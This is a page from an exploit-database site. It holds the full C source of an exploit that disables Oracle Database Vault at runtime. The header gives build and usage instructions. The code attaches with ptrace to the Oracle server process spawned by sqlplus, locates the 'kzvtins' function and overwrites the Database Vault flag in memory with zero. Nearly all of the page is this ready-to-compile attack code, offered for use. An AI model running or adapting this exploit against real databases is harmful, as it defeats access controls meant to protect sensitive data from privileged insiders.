[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Oracle Database Vault ptrace(2) Privilege Escalation Exploit

Author
Jakub Wartak
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-7817
Category
local exploits
Date add
20-11-2008
Platform
linux
============================================================
Oracle Database Vault ptrace(2) Privilege Escalation Exploit
============================================================


/*
 * original release: http://vnull.pcnet.com.pl/blog/?p=92
 * 
 * ora_dv_mem_off.c version 0x1
 * ORACLE Database Vault runtime disabler (x86_32 Linux only)
 * AKA give_back_the_freedom
 * by Jakub 'vnull' Wartak <jakub.wartak@gmail.com> 26.02.2008
 * 0-day PRIVATE! D0 N0T DI$TRIBUT3!
 *
 * Tested on 10.2.0.3, CentOS 5. 
 * For other architectures/OS combos consider having fun with gdb ;]
 *
 * Whole Database Vault architecture is flawed if DBA has access to
 * oracle user process space. IMHO you could limit risk by creating
 * UNIX accounts for DBAs with membership of OSDBA group (along with 
 * oracle SUID binary and shared memory with only read permission 
 * for OSDBA group [check SHM privs: ipcs -cm] ). But how those DBAs 
 * would cope with some serious crashes (requiring for e.g. restoring 
 * controlfile) ?
 *
 * Usage: 
 *		Set enviorniment variables: ORACLE_BASE, ORACLE_SID, ORACLE_HOME
 * 		$ gcc -Wall ora_dv_mem_off.c -o ora_dv_mem_off -lbfd -liberty
 *		$ ./ora_dv_mem_off
 *
 * REQUIEREMENTS:
 *	+ run as oracle process owner (by default "oracle")
 *	+ working ptrace(), it won't work in systems with ptrace() 
 *    disabled (grsecurity and some LKMs).
 *	+ BFD headers and library (binutils-devel)
 *
 * THE DOCUMENT IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. THE
 * CONTENT MAY CHANGE WITHOUT NOTICE. IN NO EVENT SHALL THE AUTHORS BE
 * LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES, INJURIES,
 * LOSSES OR UNLAWFUL OFFENCES.
 *
 * USE AT OWN RISK!
 *
 */
#include <bfd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <linux/user.h>
#include <linux/ptrace.h>
#include <asm/unistd.h> /* for __NR_clone */

/* you may need to alter this */
#define ORABASE  "/u01/app/oracle/product/10.2.0/bin"

/* 
 * Magic... (at&t syntax)
 * push %ebp
 * mov %esp, %ebp
 * mov <DV_FLAG>, %eax
 * [..] 
 * where DV_FLAG is 32-bit long
 */
#define ASM_DV_FUNC_PROLOG "\x55\x8b\xec\xb8"

const char *sqlplus = ORABASE "/sqlplus";
const char *oracle =  ORABASE "/oracle";
const int long_size = sizeof(long);
pid_t child;

long locate_dv_func(void) 
{
	asymbol **symbol_table;
	bfd *b = bfd_openr(oracle, NULL);
	if (b == NULL) {
		perror("bfd_openr");
		exit(-1);
	}

	bfd_check_format(b, bfd_object);
	long storage_needed = bfd_get_symtab_upper_bound(b);
	if(storage_needed < 0) {
		fprintf(stderr, "wtf?!\n");
		exit(-1);
	}

	if((symbol_table = (asymbol**)malloc(storage_needed)) == 0) {
		perror("malloc");
		exit(-1);
	}

	int num_symbols;
	if((num_symbols = bfd_canonicalize_symtab(b, symbol_table)) <= 0) {
		fprintf(stderr, "no symbols info\n");
		exit(-1);
	}

	int i;
	for(i = 0; i < num_symbols; i++) {
		char *symname = bfd_asymbol_name(symbol_table[i]);
		void *symaddr = bfd_asymbol_value(symbol_table[i]);
		/* don't even ask why this funciton, for real hardcore: gdb -p <oraclePIDs> */
		if(!strcmp(symname, "kzvtins")) {
			fprintf(stderr, "[%d] symbol \"kzvtins\" at 0x%lx\n", getpid(), 
				(long) symaddr);
			return (long) symaddr;
		}
	}

	return 0;
}

/* from "Playing with ptrace(), part#2, Linux Journal, author: Pradeep Padala */
void getdata(pid_t child, long addr, char *str, int len)
{ 
	char *laddr;
	int i, j;
	union u {
		long val;
		char chars[long_size];
	} data;
	i = 0;
	j = len / long_size;
	laddr = str;
	while(i < j) {
		data.val = ptrace(PTRACE_PEEKDATA, child, addr + i * 4, NULL);
		memcpy(laddr, data.chars, long_size);
		++i;
		laddr += long_size;
	}
	j = len % long_size;
	if(j != 0) {
		data.val = ptrace(PTRACE_PEEKDATA,child, addr + i * 4,NULL);
		memcpy(laddr, data.chars, j);
	}
	str[len] = '\0';
}

void putdata(pid_t child, long addr, char *str, int len)
{   
	char *laddr;
    int i, j;
    union u {
            long val;
            char chars[long_size];
    } data;
    i = 0;
    j = len / long_size;
    laddr = str;
    while(i < j) {
        memcpy(data.chars, laddr, long_size);
        ptrace(PTRACE_POKEDATA, child, addr + i * 4, data.val);
        ++i;
        laddr += long_size;
    }
    j = len % long_size;
    if(j != 0) {
        memcpy(data.chars, laddr, j);
        ptrace(PTRACE_POKEDATA, child, addr + i * 4, data.val);
    }
}

void cleanup(void) 
{
	int s;
	kill(child, SIGKILL);
	wait(&s);
}

int main(int ac, char **av) 
{
	int status;
	pid_t orapid = 0;

	bfd_init();
	
	if((child = fork()) == -1) {
		perror("fork");
		exit(-1);
	}

	if(child == 0) {
		if(ptrace(PTRACE_TRACEME, 0, NULL, NULL)==-1) {
			perror("unable to ptrace(PTRACE_TRACEME)");
			exit(-1);
		}

		/* launch sqlplus */
		if(execl(sqlplus, "sqlplus", "/nolog", NULL)==-1) {
			perror("execl");
			exit(-1);
		}

		/* not reached */
		exit(0);
	} 

	if(atexit(cleanup) != 0) {
		fprintf(stderr, "[%d] unable to register cleanup function\n", getpid());
	}

	wait(&status);
	if(WIFSTOPPED(status)) {
		fprintf(stderr, "[%d] starting to trace sqlplus process (%d)\n", getpid(), child);
	}

	fprintf(stderr, "[***] NOW TYPE IN SQLPLUS: conn / as sysdba\n");

	while(!orapid) {
		struct user_regs_struct uregs;

		ptrace(PTRACE_SYSCALL, child, 0, 0);
		wait(&status);
		ptrace(PTRACE_GETREGS, child, 0, &uregs);

		/* ouch! no fork()? clone()! */
		if(uregs.orig_eax==__NR_clone) {
			long *regs = 0;

			/* fprintf(stderr, "[%d] clone() syscall\n", getpid()); */
			ptrace(PTRACE_SYSCALL, child, 0, 0);
			wait(&status);
			if((orapid = ptrace(PTRACE_PEEKUSER, child, &regs[EAX], 0)) == -1) {
				perror("ptrace(PTRACE_PEEKUSER): unable to get clone() retvalue\n");
				exit(-1);
			}
			fprintf(stderr, "[%d] clone() syscall in %d, tracing orapid=%d\n", getpid(), 
				child, orapid);

			/* attach to orapid, detach from sqlplus */
			if(ptrace(PTRACE_ATTACH, orapid, 0, 0) == -1) {
				perror("ptrace(PTRACE_ATTACH) to orapid");
				exit(-1);
			}

			while(1) {
				ptrace(PTRACE_SYSCALL, orapid, 0, 0);
				wait(&status);
				ptrace(PTRACE_GETREGS, orapid, 0, &uregs);
				if(uregs.orig_eax==__NR_execve) {
					fprintf(stderr, "[%d] execve() syscall in %d, \n", getpid(), orapid);
					/* end ptrace of syscall */		
					ptrace(PTRACE_SYSCALL, orapid, 0, 0);
					break;
				} else {
					//fprintf(stderr, "got %ld\n", uregs.orig_eax);
					ptrace(PTRACE_SYSCALL, orapid, 0, 0);
				}
			}

			if(ptrace(PTRACE_DETACH, child, 0, 0) == -1) {
				perror("ptrace(PTRACE_DETACH) from child");
				exit(-1);
			}

		} else if(uregs.orig_eax==__NR_execve) {
			fprintf(stderr, "[%d] execve() syscall in %d\n", getpid(), child);
		}
	}

	/* now we have oracle server process under our control :) */
	long dv_func = locate_dv_func();
	if(dv_func == 0) {
		fprintf(stderr, "ERROR: unable to find function\n");
		exit(-1);
	}
	wait(&status);

	unsigned char buf[32];
	memset(buf, 0, sizeof(buf));
	getdata(orapid, dv_func, (char *)&buf, 32);

	/* dump opcodes */
	/*
    for(i = 0; i < 31; i++) {
		fprintf(stderr, "%x ", (unsigned char)buf[i]);
	} */
	
	if(!memcmp(buf, ASM_DV_FUNC_PROLOG, strlen(ASM_DV_FUNC_PROLOG))) {
		unsigned char dv_status;
		unsigned long woff = dv_func + strlen(ASM_DV_FUNC_PROLOG), woff2=woff;

		getdata(orapid, woff, (char *)&dv_status, 1);
		fprintf(stderr, "[***] sucessfuly validated function, DatabaseVault=%d\n", dv_status);
		fprintf(stderr, "[***] attempting to rewrite memory at 0x%lx\n", woff2);
	
		unsigned char my = 0;
		putdata(orapid, woff2, (void *)&my, 1);
	}

	if(ptrace(PTRACE_DETACH, orapid, 0, 0) == -1) {
		perror("ptrace(PTRACE_DETACH) from orapid");
		exit(-1);
	}

	wait(&status);
	exit(0);
}



#  0day.today [2024-11-16]  #